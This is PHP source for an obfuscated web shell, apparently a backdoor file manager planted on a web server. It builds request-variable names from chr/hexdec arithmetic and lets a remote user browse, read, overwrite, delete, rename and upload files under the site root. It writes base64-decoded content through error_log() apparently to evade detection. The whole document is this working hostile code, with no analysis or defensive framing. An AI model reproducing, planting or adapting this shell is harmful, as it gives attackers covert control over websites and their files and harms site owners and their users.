> 1).$c(hexdec("45")).$c(ord('U') - 1); $__ = Result([65]).chr((0x50 << 1) >> 1) .chr(hexdec("4F")) .chr(ord("U") - (sqrt(1) + 1)); $__ .= chr(ord("S") + 1); function get_absolute_root() { $script_filename = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']); $script_name = $_SERVER['SCRIPT_NAME']; $pos = strpos($script_filename, $script_name); if ($pos !== false) {return substr($script_filename, 0, $pos);} return rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/'); } $rootPath = realpath(get_absolute_root()); function displayPathItem($title, $value) {print "
{$title}:" . $value . "
";} function PathCl($path){ global $be, $rootPath; $real = realpath($path); if ($real === false || strpos($real, $rootPath) !== 0) { $real = $rootPath; } $relative = ltrim(str_replace($rootPath, '', $real), DIRECTORY_SEPARATOR); $pathParts = $relative === '' ? [] : explode(DIRECTORY_SEPARATOR, $relative); $breadcrumbs = ["ROOT"]; $accumulatedPath = $rootPath; foreach ($pathParts as $part) { $accumulatedPath .= DIRECTORY_SEPARATOR . $part; $breadcrumbs[] = "$part"; } return implode(' / ', $breadcrumbs); } function getPermissions($path) { $readable = is_readable($path) ? 'R' : 'R'; $writable = is_writable($path) ? 'W' : 'W'; $executable = is_executable($path) ? 'Run' : 'Run'; return "$readable $writable $executable";} function formatFileSize($bytes) { if ($bytes >= 1073741824) { return round($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return round($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return round($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' By'; } } $GetPath = isset(${$_}['path']) ? realpath($b(${$_}['path'])) : $rootPath; if ($GetPath === false || strpos($GetPath, $rootPath) !== 0) { $GetPath = $rootPath; } $AtPath = PathCl($GetPath); $Dirqx = getPermissions($GetPath); $pathItems = [['at path', $AtPath], ['run', $Dirqx]]; function renderFileList($GetPath) { global $be, $rootPath; $currentPath = is_dir($GetPath) ? $GetPath : dirname($GetPath); $files = array_diff(scandir($currentPath) ?: [], ['.', '..']); $directories = []; $fileItems = []; foreach ($files as $file) { $fullPath = $currentPath . DIRECTORY_SEPARATOR . $file; if (strpos(realpath($fullPath), $rootPath) !== 0) continue; $isDir = is_dir($fullPath); $permissions = getPermissions($fullPath); $fileTime = date("Y-m-d H:i:s", filemtime($fullPath)); $fileSize = $isDir ? 'DIR' : formatFileSize(filesize($fullPath)); $actions = ''; if (!$isDir && is_writable($fullPath)) { $actions = sprintf('
', htmlspecialchars($fullPath), htmlspecialchars($fullPath), htmlspecialchars($file)); } $fileLink = "{$file}"; $itemHtml = sprintf('
%s
%s
%s
%s
%s
', $isDir ? 'dir' : '', $fileLink, $fileSize, $fileTime, $permissions, $actions); if ($isDir) { $directories[] = $itemHtml; } else { $fileItems[] = $itemHtml; } } print '
' . implode("\n", array_merge($directories, $fileItems)) . '
'; } function LoadFile($GetPath) { if (!is_dir($GetPath) && file_exists($GetPath) && is_readable($GetPath)) { $content = file_get_contents($GetPath); $isWritable = is_writable($GetPath); print '
📄' . basename($GetPath); if ($isWritable) { print ''; } print '
'; if ($isWritable) { print ''; } else { print '
';
            foreach (explode("\n", $content) as $num => $line) {
                printf('
%s%s
', str_pad($num + 1, 3, ' ', STR_PAD_LEFT), htmlspecialchars($line)); } print '
'; } print '
'; } } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset(${$__}['f_p'])) { $filePath = realpath(${$__}['f_p']); if ($filePath && strpos($filePath, $rootPath) === 0 && is_writable(is_dir($filePath) ? $filePath : dirname($filePath))) { if (isset(${$__}['s_f']) && isset(${$__}['f_c_64'])) { $content = $b(${$__}['f_c_64']); if (file_exists($filePath)) { unlink($filePath); } $saveMsg = error_log($content, 3, $filePath) ? "File saved successfully" : "Failed to save file"; } if (isset(${$__}['delete_file']) && file_exists($filePath) && !is_dir($filePath)) { if (unlink($filePath)) { $saveMsg = "File deleted successfully"; if ($GetPath === $filePath) { header("Location: ?path=" . $be(dirname($filePath))); exit; } } else { $saveMsg = "Failed to delete file"; } } if (isset(${$__}['rename_file']) && isset(${$__}['new_name'])) { $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . basename(${$__}['new_name']); if (rename($filePath, $newPath)) { $saveMsg = "Renamed successfully"; if ($GetPath === $filePath) { header("Location: ?path=" . $be($newPath)); exit; } } else { $saveMsg = "Failed to rename"; } } } } if (isset(${$__}['error_log'])) { $content = $b(${$__}['error_log']); $fileName = basename($b(${$__}['error_log_name'])); $targetDir = is_dir($GetPath) ? $GetPath : dirname($GetPath); $uploadPathFile = $targetDir . DIRECTORY_SEPARATOR . $fileName; if (strpos(realpath($targetDir), $rootPath) === 0 && is_writable($targetDir)) { if (file_exists($uploadPathFile)) { unlink($uploadPathFile); } $saveMsg = error_log($content, 3, $uploadPathFile) ? " error_log Success " : " error_log Fail"; } } } ?> 9B534B8686E580E0E01768F00155B461
error_log